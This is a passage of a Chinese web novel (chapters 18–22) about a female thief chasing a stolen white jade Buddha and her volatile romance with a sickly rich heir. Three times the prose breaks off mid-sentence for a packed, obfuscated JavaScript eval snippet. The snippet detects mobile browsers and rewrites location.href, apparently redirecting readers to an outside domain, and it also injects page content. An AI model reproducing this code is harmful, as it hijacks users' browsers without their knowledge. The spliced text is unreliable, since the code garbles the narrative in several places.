“小生生,你高考多少分啊?” “……”温雪生放下监控器,“安静,如果你还想让我干活的话。” “至少允许我问一个问题嘛……” “……问。” 南希抿嘴笑:“我好像从来没在学校碰到过你……你真的不需要上课吗?” 温雪生埋头研究监控器,看起来十分认真。 “我爸会定期邀请教授,到温沙城堡给我讲课。” “哦。” 南希眨巴了两下眼。 有钱还真能使鬼推磨。 “那你高考多少分?” “669。还有,这已经是第二个问题。” 南希只听到了669,倒吸了口气。 这个分数都可以去首都上大学了,如果非要留在济东,专业百分百能任选。 “可你不是喜欢文学吗?怎么会学计算机?” 温雪生停下手中动作。 “开了。” “什么?” 温雪生从监控器里取出磁带递给南希:“这个。” 南希再次眨巴眼睛。 两分钟后,Video播放器连接索尼大彩电,将磁带里的录像放了出来。 自南希踏入别墅,到暴力摘取监控器的画面,全都清晰可见。 南希后怕:“小生生,警察把这玩意儿留下就是想守株待兔!还好有你,要不我可真得栽了!” 温雪生直盯屏幕:“别吵,继续看。” 然而,录像带里再也没有画面。 沙沙沙…… 灰白色雪花风暴连续播放了三四分钟。南希按下快进键,心里已经生出不好的预感。 沙沙沙…… 第一盘磁带播放完毕,她接着放下第二盘、第三盘、第四盘…… 结果跟她料想的一样:失望,没有任何线索。 还剩最后一盘,她不想再继续。 “算了,除了我,找不到别的东西的。” 温雪生置若罔闻,继续插.入.磁带。 电视里仍是不急不慢的白噪音。 这种声音,听多了会让人想睡觉,南希一边按着快放,一边缓慢地闭上了眼睛。 “等等。”温雪生突然出声。 南希又睁开眼,对上他右眼凌厉的目光。 “往后退两分钟!” ?! 温雪生神态紧张。南希凭她多年的职业经验,立刻意识到情况有变,松散的心弦顿时紧绷成一条直线。 倒退30s,60s,90s…… 一个彩色画面倏地一晃而过。 温雪生:“就是这个。” 南希聚精会神,再次倒带,反复试了几遍后,终于把时间固定在忽闪的画面上: 那是一个背影。 穿细高跟、身材漂亮的高挑女人反手击灭了监控画面。 她的视线转向温雪生,双唇微张。 “我认识她!” 没错,这个背影她见过,虽然只有一次,却印象深刻。 景天大酒店开业当天,巧妙化解她的捉弄,成功避免热汤洒王有才一身的——美人服务生! 哔—哔哔—哔— 刘总来电。 南希心里乱,随意摸出手机:“喂,我现在有事,明早回给你。” “等等,别挂,先别挂!”电话里面,刘总大嗓门急呼,“什么事都不如我要跟你说的这件事重要!王有才的追悼会定了,明天,不,已经是今天了,今天上午九点,济东殡仪馆!”他喘了口气,“我找人打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248332|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听了,追悼会结束后,王有才平时珍藏的几样宝贝都要跟他一起火化!” 南希蹙起眉头。 白玉佛…… “就这么急?” 刘总:“是啊!谁知道那些人脑子是不是被驴踢了!我得到消息后马上就找你了,现在还不算太晚,我给你弄点应急的装备,一个半小时后咱们老地方碰头!” “可是——” 南希叹了口气。可是,生活不能只有工作。 眼睛瞟向温雪生,她说:“——一个半小时……恐怕不行。” “那你要多久?” 她看表:一点五十。 “四点半。” “也行,四点半就四点半。好在这个追悼会虽然弄得急,却是公开的,你装作王有才的影迷混进去就成。” “好。” 南希挂断电话,然后轻盈转身,坐到了温雪生腿上。 手臂弯曲搂住他瞬时僵硬的脖子,“唉,小生生,你应该都听着了,我赶时间。所以,你今天得快点。” 温雪生身体后倾:“你,你什么意思……” 下唇忽地被咬住,渗出一滴血。 南希:“但是,不可以不认真哦~” * 二月十六日。 天灰蒙蒙,有雾。 济东殡仪馆充斥着哭声、交谈声还有和尚念经的声音。 王有才毕竟是享誉全国的大明星,哪怕追悼会再仓促,前来悼唁的人也少不了。 影迷们不知打哪儿得来的消息,一大早就守在了殡仪馆门口。 南希九点赶到的时候,差点没挤进去。 周围有太多双眼睛:完全陌生的,电视上见过的,在景天大酒店打过照面的……她提前备好的眼药水无法派不用场,献花圈时,只能垂着眼皮,装作恹恹的: “自从知道这个噩耗,我已经两天没睡了,眼泪都哭干了……” 有影迷听到她的悲伤,扑上去抱着她失声痛哭。南希也失声,睫毛颤抖,任对方的眼泪湿透自己的衣服,就像是丢了魂。 这一哭让她成功混入影迷团,跟十几个姑娘一起挤到大堂中央见王有才最后一面,便也第一次看到了白玉佛: 半拳大小,光泽油润。 的确是件宝贝。 宝贝没挂绳,安静地躺在王有才被花圈簇拥的胸膛上,好像只需要伸出一只手,就可以轻松拿到。 可是,人实在太多了。 空气不流通,用瓦斯遮挡人们的视线,容易造成爆炸。 不遮挡视线靠速度盗宝,危险系数又太大。 得考虑其他方案。 南希正琢磨,突然,一句“女士,小心”在耳边响起。紧接着,一只大手闯入视线。 她条件反射,脚下旋转,敏捷躲避,与此同时,眼睛顺着那手看去,打结的眉心竟一下子舒展开来。 “女士,别误会,我是看你再走下去就要撞上我了,提前扶你一下。”对方微笑着说。 南希咽了口唾沫,尴尬回笑:“没事没事,是我反应过了头。那个,你,你是不是那个开运路24号……你不记得我了吗?” 对方愣住,明亮的面孔多了抹疑惑:“我的确住在开运路24号,你是……?” 南希:“元旦夜……光源大厦……” “哦!我想着了。”他疑云消散,又露出笑,“你男朋友怎么样了?” 南希歪嘴。 怎么第一反应是这个? 脑中浮现出温雪生被压在身下,眼神隐忍,嘴巴红肿的虚弱摸样,心情又好了些。 “他很好。这还得谢谢你。对了,我还不知道你的名字。” 对方笑如烈阳:“张笑远。” 19. 第 19 章 “诶呀,我也姓张,张南希!”南希上前,想握住对方的手套近乎,“咱几百年前那可是亲戚啊!” 张笑远自然地把手背到身后,礼貌地笑了笑,并没有回应这句无聊的话。 南希收回僵在半道的手,识趣地换了话题。 “啊,上次我说要去报答你,可是过了这么久都还没去,真不好意思……” 她脸颊红红的,像个苹果。 张笑远:“你不知道?你男朋友已经去过我家了,还送了我好多东西,是我该不好意思。” 南希瘪嘴,看来这个话题也聊不下去了。 “你也是王有才的影迷?”张笑远突然问她。 嗯? 南希与他对视。 他的眼睛又明又亮,跟常年有阳光似的,与温雪生阴天湖泊般的眼睛很不一样。 “对对!你也是吗?”她回,声音里藏着万分激动。 她怎么就没想到,王有才的追悼会,最大的话题该是大明星王有才呢! “嗯。”张笑远果然来了兴致,话也多了,“我喜欢看他演的《清末往事》《笑傲武林》《祥云传》,对了,最近的《芳草地》也好看,他虽然都是配角,但表演深刻动人,每一个细微表情都拿捏得特别到位,是那些年轻演员比不了的……可惜,这样精湛的演技,以后再也看不到了……” 南希轻拍他后背,以此表示安慰。 既然这帅哥防备心强,那么她就循序渐进,一点点攻破。 她沉沉地说:“我也喜欢《芳草地》,他演的沉默的父亲,让我哭了好多次……” 其实她并没有闲功夫去看这部连一个美男都没有的电视剧,只是前几天去报亭买烟,不小心扫到了济东日报,扎头巾的老农民王有才占据了头版头条,几个大红字打在他身上:沉默的父亲。 南希低下头,看脚尖。 “虽然我没见过自己的父亲——” 她新买的阿迪板鞋怎么脏了一块? “——但是我总幻想,如果父亲还在这个世上,肯定也是那个样子吧……” 刚刚谁踩她了?没觉着疼呀…… 张笑远动容,眼圈微红。 “我也没见过我的父亲……” 南希抬眼。 这么巧? “抱歉,让你想起伤心事了……” “没事,不过——”张笑远直视南希,眼眸向下,“——王有才在《芳草地》里演的是一个光棍。” “嗯,啊?” 他的声音轻飘飘的。 “并没有孩子。” “额……” 南希尽量让自己的表情显得不是那么惊讶,大脑已经开始想方设法化解眼前的窘境。 可心脏莫名地加速了。 是因为尴尬吗? 殡仪馆里好像起了风,刘海乱了。 她捂住额头,余光中,一个高挑的身形逆人流冲出了殡仪馆…… 这个背影…… 发散的视线在刹那间收回,凝聚到王有才的胸口。 白玉佛依如先前,反着柔光,油润温和。 只是…… 角度不对! 笑面佛像的脑袋向右偏了大概三度! 南希猛然转身。 张笑远没在身边。这个大男人竟然在她眼皮子底下消失了! 什么时候!? 去了哪儿?! 殡仪馆的人实在太多了,她看不到,找不到!处处都没有张笑远的身影! 南希满头大汗。 美人计加偷梁换柱,明摆着冲她来的! 有人特地制造这场陷阱,盗走了真正的白玉佛!! “让开,让开!!!” 南希拨开一个个哭成泪人的影迷,挤出昏暗的殡仪馆大门。 视野变得空旷,如同茫茫大海。 刚刚那像风一样逃走的背影早已淹没在滚滚波浪之中。 南希环视车水马龙的街道。迷茫,天旋地转。 靠,到底该往左追还是往右?! “上车!” 路边,一辆纯黑色奔驰E320紧急刹车,吓得几个路人发出锐利的尖叫。 车停在南希面前,车窗摇下。 主驾玻璃后露出一张狰狞的刀疤脸。 “上车啊!刚才跑出来的人我看着了,带你去追!” 南希犹豫。 她之所以能成为神偷,除了对目标有准确预判,还有一点,她对自己有严厉的要求:哪怕刀架在脖子上也得保持理智。 现在,她不想上车。 一,她害怕李大发。 二,她不相信李大发,谁知道他是不是跟那些人一伙儿的。 豪华轿车已经引来数不清的目光和窃窃私语: “哇,那是奔驰吗?我第一次见!” “好酷哦!” “是接这个女孩的吗?” “她怎么不上车?” …… 坐在奔驰里的李大发嚷起来:“再不上车,想追也追不到了!” 南希留下虚汗,双指夹着一枚硬币抛上天。 硬币迅速下落,然后竖在沥青路上滚动,滚到奔驰车底。 南希的视线跟随硬币,看到奔驰的后车门开了一条缝儿。 一道携着淡淡梅花香的声音从里面飘出。 “上来。” 南希眨眼。 小生生…… 心弦登时松了,她朝周围看热闹的人挥了挥手,“别猜了,不好意思,就是来接我的。”然后优雅地打开了奔驰车门。 “诶呀,你看她神气啥啊?” “坐奔驰当然神气,我坐我也神气!” “她什么身份呀?” …… 发动机震动的嗡鸣盖过了人声,奔驰很快消失在街道尽头。 车上,南希与温雪生挨着坐。 温雪生今天穿貂皮大衣,颇有种豪门大少爷的派头。 南希心情不错,望着车窗外面飞快变化的街景,指尖点着皮座椅,悄悄向一旁挪动,直到碰着一块长长的貂毛袖子,然后像小猫似地钻了进去。 温雪生也看着前方,任对方的指尖触摸自己,只有睫毛在隐隐眨动。 而这一切,李大发全然不知,他忽然张嘴,伸手指向前玻璃:“少爷,追上了!诶,咋还多了个人?您瞅瞅是他们吗?” 南希凑上前,连带着把温雪生一块拽了过去。 视野里出现一辆飞速行驶的摩托车。 驾驶人身材姣好,长发从五彩头盔中飘出,十分酷炫。 她后面坐着位肩宽腰窄的帅哥,穿皮衣,短发。 南希回:“对!就是他们!” 很巧,这俩背影,她都熟悉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261261|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 女的是监控录像里那个。 男的是—— “张笑远,李管事,多出来那个就是之前救了少爷的大英雄,张笑远!” 张笑远好像察觉到身后奔驰的追踪,在驾驶人身上敲了两下。 摩托车突然加速,与奔驰拉开了距离。 李大发撇嘴:“大英雄凑啥热闹?!那咱还追吗?” 温雪生与南希异口同声:“追!” “好嘞。”李大发听命,一个甩手挂上五档,时速直飙110,又将距离缩短。 路边行人只觉得两阵冷风擦过,探头瞅时,只捕捉到了两缕残影。 通常来讲,摩托车直线加速比普通汽车要快不少,可它不幸遇到了奔驰,被赶超只是时间问题。 眼看摩托车的去路即要被奔驰截断。 那驾驶人突然一拧车把,摩托车前轮急转,后轮漂移,整个车身横着滑入一条只容单人通行的小巷。 吱—— 事发突然,李大发刹车踩到了底。 在惯性的作用下,南希和温雪生撞向前排座椅。 李大发赶紧回头:“少爷,没事吧?” 温雪生头有些晕,他扶着前坐,斜眼瞥南希。 刚刚的一瞬间,好像有什么东西挡在他的额头上,减缓了撞击的力度,否则,现在可能就不是头晕那么简单了。 “没事,别管我,绕过去拦住他们。” 温雪生再次下令。 然而,这个命令几乎不可能实现。 眼前的那小巷位于两个路口中间,他们想追上摩托车,需要多绕两倍的路,用时还得堪堪与摩托车相同,这无异于登天摘星。 但李大发是火拼场上动刀子流血的主儿,他不懂什么可能与不可能,只管听令干事。 他咬紧牙关回:“是!少爷!抓紧把手!看我不弄死那孙子!” 霎时,仪表盘上,指针转了180度:时速160! 嗡—— 奔驰似光,在行人并不多的城市街道留下了一个n字形光晕。 摩托车因巷子狭窄、障碍繁多而速度下降,当它艰难驶出巷口时,奔驰正嗡鸣而来。 不可能真就变成了可能! 但摩托车两人也不是吃素的。 张笑远当机立断,大喝一声“分头走”,然后紧急跳车,转身又冲回小巷。 剩下的驾驶人提起车头,瞅准路边搭在几个破箱子上的倾斜木板,急转车把,伴着巨大的轰隆声,加速前进。 摩托车就像插上了翅膀,飞向木板,飞上天,飞跃奔驰,稳稳地落在了马路对面,钻进另一条小巷。 嘀! 奔驰发出一声不甘的哀鸣。 李大发大汗淋漓,狠捶方向盘:“少爷!” 怎么办?追哪个?! 南希抢在温雪生前面:“走!追摩托车!” 最先跑出殡仪馆的是那戴头盔的女人,白玉佛是她拿的,刚刚情况紧急,她作为摩托车驾驶人压根没有转移东西的机会。 宝贝一定还在她身上! “好!” 李大发再次踩下油门。 然而,这次,奔驰刚发动就熄了火。 温雪生倒在南希腿上,身体蜷成了一团。 南希抱紧他。 他在抖。 南希:“小生生!你怎么了?!” 20. 第 20 章 “少爷!”李大发下车,拉开后车门。 温雪生惨白的面孔闯入视线。 “妈的!”他给了自己一巴掌,“肯定是刚才紧急刹车弄的!我他妈就不该带少爷出来给你追什么人!” 南希打了个哆嗦。 觉得他就像一头恶兽,仿佛下一秒就会扑过来,把自己啃得只剩骨头。 “李管事,你,你后悔,打自己,还瞅我,这些都是没用的……咱们现在要做的是送大少爷去医院,不是吗?” 她尽力让声音冷静平稳,试图驯化恶兽重返人形。 李大发哼哧两声,受驯似地咽下怒气,回主驾开车。 大概过了二十分钟,奔驰停在了一家私人医院门口。 红十字架,纯白色高楼,楼顶挂着巨型招牌:卢氏综合医院。 南希听过这个名字。 济东的私人医院不少,但顶多是门头诊所的规模,唯有“卢氏”例外。 这家私人医院走高端路线,医院科室齐全,院长留洋博士,资历深厚,全国出名,能在这儿工作的医生也至少得研究生起步,据说连里面的医疗设备都是进口美国最新技术、最新型号的。 南希想起在温沙城堡见过的家庭医生,秃头,穿白大褂。褂上子印着俩红字。 她这才反应过来,那俩字是“卢氏”。 边上,温雪生浅浅地睁开眼,也看到了这俩字。 他喘着粗气扶门框坐直。 “李管事,开车走,我已经好了。” “那也得去医院看看!” 南希和李大发几乎异口同声。 两人对视,至少在这一刻达成了共识:如果温雪生抗拒就医,抬也要把他抬进卢氏。 “我不想再说第二遍。”温雪生注视李大发,“现在,开车走。” 这么几个字,就让那令人恐惧的刀疤脸犯了怂。 李大发没好意思再瞅南希,把头转回去,双手扶上了方向盘。 南希看愣了:“李管事?” 没有回应。 “……”她只能转向温雪生,“我说温大少,你都这样了,还不去医院吗?难道……你想死外面赖我头上?” 话说得阴阳怪气。 温雪生怒视南希,一个字没说,推开车门直接下了车。 冷风钻入奔驰,刮得南希打了个喷嚏。 这位大少爷她实在伺候不了。 细想起来,他其实在床上也十分叛逆。 “李管事。”南希抱起双臂,“你都瞧着了,是你家少爷自己下去的,他要是真有啥事,你可不能找我麻烦。” 李大发早就对南希有火,这会儿温雪生不在,一点就炸。 “我他妈还真就要找你!要不是你,少爷怎么会离开城堡到外面受罪?!” 南希委屈,肝颤乳腺疼,觉得就算这李管事再吓人,她也得顶回去。 “听你的意思,是我让你家少爷从城堡里出来的?!” “不是?!” “李管事,做人得凭良心、讲道理,你家少爷倔驴一样,他要是真听我的,现在也不会站那儿!” 南希的目光落在窗外。 路边一个歪脖子秃头树旁,靠着个穿貂的男人。 这画面有些眼熟。 元旦晚上,温雪生好像也这样强行下了车,独自一人跑到大街上打的。 又来…… 同样的事竟然在她面前发生了两次! 南希闷声:“我看,都是他这驴脾气害的。” 李大发回:“咱先别管我家少爷的脾气,他是大少爷,他啥脾气都没毛病。”他一动不动地盯着路边的温雪生,“我不信你不知道,我家少爷几次从城堡里出来,都是为了你的事!” “……” 南希明白道理是讲不下去了,决定转变策略。 她从兜里掏出一包软中华送到李大发手边。 “好好好,都是为了我,也都怪我,行了吧?李管事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261262|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱先消消气成不?” 李大发推开她的烟:“我哪有心情抽这个,你去把少爷给我找回来!” 南希也没指望他会接下自己的东西,她其实就意思意思,是她自己想抽。 她摇下车窗,叼上烟。 “您怎么不去?” “我……”李大发脸绿了。 南希终于心情了好了些,偷笑:“李管事,您不敢去找他,我也不敢呀,贸然去得话,搞不好会把人给逼走的……诶,对了,话说到这儿,我有个事想问问您,我就奇怪了,温大少不是不能出门吗,最近怎么三番五次往外跑?” 李大发一顿:“这我哪知道,这是他们父子之间的事。” 温四爷打平河回来后,到少爷屋里待了一上午,出来后就告诉他,以后少爷去哪儿都得陪着。言外之意,少爷的行动不再受限。 但这事儿,李大发寻思了寻思,选择憋在肚子里。 南希用打火机点了烟。 “您说,是不是因为温大少的脸好了呀?之前,温四爷该不会是嫌儿子丑、给他丢人,才关着他吧?” “瞎说啥!老大最疼少爷!” “是吗?”南希吸烟吐气,“那……为什么温大少都病成这样了,还不敢进这家卢氏医院?我没猜错的话,卢氏的背后是温四爷吧。” 南希话中有话,李大发怔住。 眼前这小妮子不愧是大学生,聪明冷静看事准,竟然都给说中了。 他在老大和少爷之间迂回了这么多年,很多事就算不拿到明面上讲,他也都懂。 少爷不喜欢温沙城堡。 他第一次陪少爷出门时,也第一次在他脸上看到了普通少年才会有的兴奋摸样。 少爷一旦踏进卢氏,用不了半小时,他发病的消息就会传到老大耳朵里。到时候,老大还会不会放少爷离开城堡就不好说了。 所以,少爷只能逃。 可李大发依旧嘴硬:“你咋知道少爷不敢的?!” 21. 第 21 章 南希斜眼瞥他。 刀疤脸声音虽大,气势不再。 她又吐了口烟。烟气飘出车窗,在眼前散开,模糊了温雪生孤独的身影。 对,孤独。 南希笑着:“哎呀,李管事,您别往心里去,我随便说说的……我知道您最在意温大少……啊,不对,应该是温四爷。” 李大发:“啥?什么在意这在意那的?在意老大就是在意少爷!” “这样啊……可他们不是两个人吗?李管事,您现在是跟着谁干呀?” “……这是你该问的吗?” 南希:“啊,呵呵呵,不好意思,瞧我这多事的嘴……” 她轻轻拍了下嘴巴,“我就是突然想起个类似的事儿。我以前有个同学,她得了很厉害的病,直到她晕在教室里,我们才知道她病了很久了。有意思的是,她家人也才知道。她一直装作身体健康,从没去过医院,她说自己面对不了,觉得如果不看病,她就还能像个正常人一样上学。那时我懂了‘讳疾忌医’这个词。我想啊,人不愿看大夫,可能有两种情况,一种是自己害怕,另一种是怕别人害怕……” 温雪生这种连四十层高楼都敢跳的狠人,很明显,第一种情况并不是适应于他。 那么,第二种情况。 可这世上,任何事,一旦牵扯到别人,就复杂得多了。 “也不知道温大少是哪一种情况……如果是第二种的话,那么他不想去医院肯定是怕父亲担心……他这样怕,今天的事,您还会告诉温四爷吗?” 南希手中的烟莫名灭了。 她看着李大发,眼睛水灵灵的。 李大发咽了下唾沫。 小妮子弯弯绕绕讲了一大堆,原来是为这儿。 但他答不出。 少爷踏进卢氏,他的病情会被老大知道,不踏进去就不会了吗? “嗯……如果是我的话——”南希继续,“——我会选择帮温大少保守秘密,毕竟他是我的直接老板,失去他的信任,之后的活儿就不好干了嘛。而且,他看起来,真得有点儿可怜……诶,诶诶——”声音突然变重,“那边来了辆面的,我去瞅瞅啥情况,如果温大少非要上车,我和他走,您就别跟来了,小心把他逼急了。” 说完,南希跳下了车。 李大发的视线追着她的身影,追到歪脖子树下:女孩搀扶男孩上了黄面包。 “妈的,刚才该问她要根烟的!” 他比了个抽烟的动作,回头瘫在座椅上,整个人像水泥似的慢慢往下滑,“怪不得……少爷对我的态度,一直不咋好……” * “诶,你俩倒是说个地儿啊,也不能一直往前走呀。”面的司机一边开车,一边侧头瞥后座的小情侣。 南希的手从温雪生额头移到自己额头。 差不多的温度。 没发烧。 她回应司机:“一直往前还不好?这样您能多赚不少啊。” 司机尴尬笑着:“嘿嘿,是是是,可这里已经是郊区了,再跑下去就要出济东了……我心里没底儿……” 南希琢磨了下,正要开口,被温雪生抢先。 “去你家。” “嗯,啊?”南希看温雪生,那只漂亮的右眼蒙上了一层薄雾,她很艰难才瞧出那眼里的光线是对着自己的,“我家?” “嗯。”温雪生点头,话音虚弱,“元旦那晚,你说要带我去你家。” 南希:“哦。” 但那晚是那晚。 他毕竟病了,不去卢氏也得去其他医院看看。 她刚才被堵回去的话就是“人民医院”。 “现在就去吗?” “嗯。”温雪生坚决。 “想好了?” “嗯。” 南希还是犹豫:“这个……” 孤男寡女,男的还生病,什么都做不了…… 温雪生打断她:“不行的话,就别跟着我了。” “……” 靠! 南希觉得自己上辈子欠他的,一咬牙,冲司机说:“胜利街与智汇路交叉口往南,长泽小区。” * 一到家,温雪生便占了南希的床。 他躺着,头微微抬起一点,手臂青筋突兀,颤抖着握住南希的胳膊。 “我可能要睡会,不会太久,别打120。” 说完他彻底躺平,像是死了。 但死人没有温度,也不会冒汗。 温雪生的身体逐渐变热,不,是变烫,火炉大概都没比他烫多少。 他的额头、鼻尖、喉骨……身上的每一处都溢着豆大的汗珠,呼哧呼哧,好像不会停。 渐渐的,他头发湿了,一条条的打了绺,贴上他绯红的耳珠;衣服也湿了,最里面的衬衣由白色变成透明色,隐约印出他胸骨上薄薄的肌肉。 南希觉得口干舌燥,但她知道这样不对。 温雪生现在是个病人! 五分钟后,她以照顾病人的借口说服自己,把他从外到里,脱了个精光。 然后,她静静地看了一会儿,突然皱紧眉头。 他不会真要死了吧…… 南希忙不迭跑去卫生间,翻出条干净的毛巾,又匆匆回到床上,跪在温雪生身边,一点一点,仔仔细细地为他擦拭汗水。 一遍又一遍,擦到手腕第三次抽筋,毛巾第七次往下滴水,她才肯罢休。 然后,她帮他盖上自己新买的蚕丝被,抱着毛巾和湿漉漉衣服,送给了阳台里的洗衣机。 这些都干完后,她也瘫在了床上。 双眼无神地望着天花板,觉得自己上辈子可能真欠他的。 眼睛就这样,安静地、慢慢地阖上了。 前晚通宵,昨晚通宵,即便白玉佛还没到手,她现在睡一会儿也可以吧,她又不是……铁打……的…… 咚咚咚! 咚咚咚—— 南希一个激灵弹了起来。 什么声音?! 咚咚咚—— 有人敲门?! “小张,小张?你在家吗?” 刘总?! 南希眼睛瞪圆。 我x他大爷!!!! 她猛地下床,挽起衣袖,趿拉着拖鞋,怒气冲冲冲到门口,“嘭”的一声打开大门。 门外还有个防盗门,镂空的。 一个长着肥猪脸、老鼠眼的中年丑男打了哆嗦。 “诶呀,小张,你吓死我了!” “吓你个头!你吵我睡觉了你知道吧?!我好不容易睡个觉!你是不是闲得慌啊!没事来我家干什么?!手机被狗叼走了?!还是老年痴呆不会用了?!什么事不能打电话非得上我家找我啊?!” 刘总懵了。 张着嘴,一个字都发不出。 火气放完,南希稍稍舒坦,抱着手,靠着门,冷眼看他:“说吧,找我啥事儿?” 她见这小胖的脸,从下往上逐渐变红了,明显是刚从滔滔不绝的骂声中反应过来,便在对方开口反击前说:“啥事儿?说不说?不说我关门了。” 不及对方回答。 嘭—— 尖锐的话音伴着关门声一齐落了地。 门外立马传来瓮声瓮气的谩骂: “小张,没数了啊!还大学生呢!有点素质吗!?我他妈为了你的事忙前忙后,容易吗?!还我的手机被狗叼走了,我看是你手机被狗叼走了!给你打了半天电话了都没人接!你说我急不急啊?!我急得都跑你学校去了!你宿舍的玲……” 门开了。 南希蹙着眉头吆喝:“什么?谁让你跑我学校了?!” 刘总:“我找不着你肯定先去你学校,再去你家……” 南希 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门又被关上了。 南希对着木门吼:“玲玲嘴里肯定没好话,我不想听了!” 刘总倒退一步,单手撑住墙,只觉得一口闷气卡在了喉咙里,上不去,下不来,就差要他的命了。 他抹了把汗,气喘吁吁,一字一顿:“今天,你宿舍,玲玲,跟我说!你是个花!痴!她给我了七八个电话号码,什么强,什么小帅,什么硕硕,让我打给他们,说肯定能找着你!小张啊,我知道你谈男朋友,但不知道你谈了这些啊!跟你说了多少遍,女孩子在社会上得多注意,别让人给占了便宜,我不管你爱不爱听,这话我见你一次就得说一次!我也是这样教育我闺女……” 门再次被打开。 南希站在防档门后,翻了个白眼,声音却平和了不少。 “好了好了,我知道了知道了……” 刘总倒来了劲儿:“什么知道了?你知道什么了!?”他突然探头,眼睛成了球,“诶,还真藏了小白脸啊?你屋里那是谁啊?!怎么看着还没穿衣服?!” 南希往身后一瞥,一个高瘦雪白的身影一闪而过。 她惊讶地眨了眨眼,抬手又要关门。 “没有小白脸,你看错了,我累了要睡觉,你快走吧!” 刘总硬把胖手塞进防盗门栏杆的间隙,艰难地抵住了那被闭上多次的门。 “小张!这事儿你不说清楚我就跟你没完!我不能眼睁睁看你误入歧途!” 南希无奈:“没藏人!我要怎么说清楚?!” 她咬紧后槽牙,使劲掀开刘总的手,强行关门,果断拧下反锁旋钮。 “刘总,回吧!晚些我给你打电话!” 门外还在咆哮,但南希早已兴奋地跑了。 她跑过走廊,跑回房间。 温雪生不在。 她就又要跑,一转身,瞧见了洗手间门口的颀长人影。 光溜溜的少年披着粉红kitty猫棉毯,只是这棉毯不够长,堪堪能挡到他的膝盖。 那一双紧绷细长的小腿和轮廓分明的赤.足便露在了外面。 湿漉漉的。 纯.欲,太纯.欲了! 南希咽口水。 “小生生,你好了?” 这样说着,眼睛却还停在他腿上。 “我的衣服呢?”对方声音极低。 嗯? 南希抬眼,视线顺着他的身体一点点往上: 若隐若现的腰身,突出性感的喉骨,还有,白嫩……阴森的脸…… 她恢复几分神智。 温雪生在生气。 “你怎么醒了?” 22. 第 22 章 第三次 温雪生直视她,一字不言。 这男人会瞅她、瞟她,但很少直视她。 南希从他黑不见底的瞳仁里,捕捉到三分凄然,还有……七分憎恨? 南希接受不了,噘起嘴巴,伸出胳膊:“小生生,你别这样看我嘛,我会害怕的。” 说着,她摸了过去。 温雪生侧身,避开南希焦急的手。 可南希毕竟是身经百战的神偷,她顺势回头,轻而易举地就扑住了那披着棉毯的后背,然后双手穿过温雪生的小臂,环住他的腰,搂紧,很紧。 kitty棉毯滑落,盖住南希的手。 男人不宽不窄、白皙精瘦的肩背随之而现。 “放开我……”温雪生挣扎,他恨自己的虚弱,用力去拽南希。 南希的脸蛋滑入他深凹的脊沟,感受到一阵微颤。 她不在乎他的反抗,她甚至变态地有些喜欢。 “你还没说,你怎么醒了呢?” “没有人能在刚才那种环境中睡觉。”温雪生仍然没放弃挣扎。 “都怪我,是我吵到你了。” “不要再用这种语气跟我说话!不知道有多少男人听过!” “嗯?” 南希放开了他。 温雪生迅速逃离。 棉毯重新被披上肩膀,遮挡着他裸.露的身体。 “七八个电话号码,什么强,什么小帅,什么硕硕!你到底藏了多少小白脸?!” 原来是为这个生气…… 南希觉得心底有什么东西冒了芽,她笑出声:“你吃醋了,小生生?” 说着,她上前一步,两步,含情脉脉,“我藏了多少小白脸,刘总不知道,你会不知道吗?” 温雪生手掌攥成拳头。 三步,四步。 “就是你,只有你。” “别拿我跟他们相提并论!”温雪生几乎咬牙切齿。 可南希并没有提他们,提他们的是某个被醋意蒙蔽的男人,但她仍好脾气地、宠溺地点头:“好——” 五步,六步…… “——都听你的。” 七步八步九步! 像是老鹰抓小鸡。 她忽然加快速度,上身前倾,猛地扎进对方胸膛,抱紧他没有一丝赘肉的腰身。 “我也不允许你拿自己跟他们比。”不知不觉的,她的手指已经钻入棉毯,双唇轻揉着男人外露的锁骨,“你就是你,我的小生生~” 好像给了对方足够的尊重,却不影响他就是无数绿叶中的一片。 今天是这一片,明天也可以是另一片。 玩腻了就下一片。 不比较,都一样。 她像以前那样,舌尖触着温雪生的脖颈蜿蜒向上,而温雪生也像以前那样,放弃反抗闭上了眼睛。 暧昧的气息飘入空气,凝聚成了一个个粉红色的泡泡。 眼看温雪生性感的M型嘴唇就在眼前,南希突然感受到一股向外的力。 等反应过来时,她的胳膊已经被对方攥住,连带着她的上半身,一齐被推到了墙角。 男人的右眼不知什么时候睁开了,射出阴沉的光,像一只鬼。 “你真把我当傻子吗?!” 嗯……嗯? 噼里啪啦…… 粉红色的泡泡在刹那间一齐破裂。 南希叫出声: “啊!” “疼!” “你放开我!” 她眼圈红了。 事情已经超出温雪生的预料,他像是泄了气的皮球,手臂隆起的肌肉顷刻松垮。 “我,我没想弄疼你……” 南希却反握住他的手,一字一顿。 